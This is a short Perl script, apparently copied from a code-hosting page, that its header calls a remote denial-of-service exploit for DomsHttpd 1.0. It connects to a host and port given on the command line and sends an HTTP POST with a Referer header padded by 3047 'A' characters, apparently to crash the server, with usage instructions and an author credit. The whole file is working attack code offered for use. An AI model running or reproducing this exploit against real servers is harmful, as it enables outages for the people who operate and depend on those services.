28 lines
No EOL
608 B
Perl
Executable file
28 lines
No EOL
608 B
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
# DomsHttpd 1.0 <= Remote Denial Of Service Exploit
|
|
|
|
# Credit: Jean Pascal Pereira <pereira@secbiz.de>
|
|
|
|
# Usage: domshttpd.pl [host] [port]
|
|
|
|
use strict;
|
|
use warnings;
|
|
use IO::Socket;
|
|
|
|
my $host = shift || "localhost";
|
|
my $port = shift || 88;
|
|
|
|
my $sock = IO::Socket::INET->new( Proto => "tcp",
|
|
PeerAddr => $host,
|
|
PeerPort => $port
|
|
);
|
|
|
|
|
|
my $junk = "A"x3047;
|
|
|
|
print $sock "POST / HTTP/1.1\r\nHost: ".$host."\r\nConnection: close\r\nUser-Agent: Mozilla\r\nReferer: http://".$host."/".$junk."\r\n\r\n";
|
|
|
|
sleep 4;
|
|
|
|
close($sock); |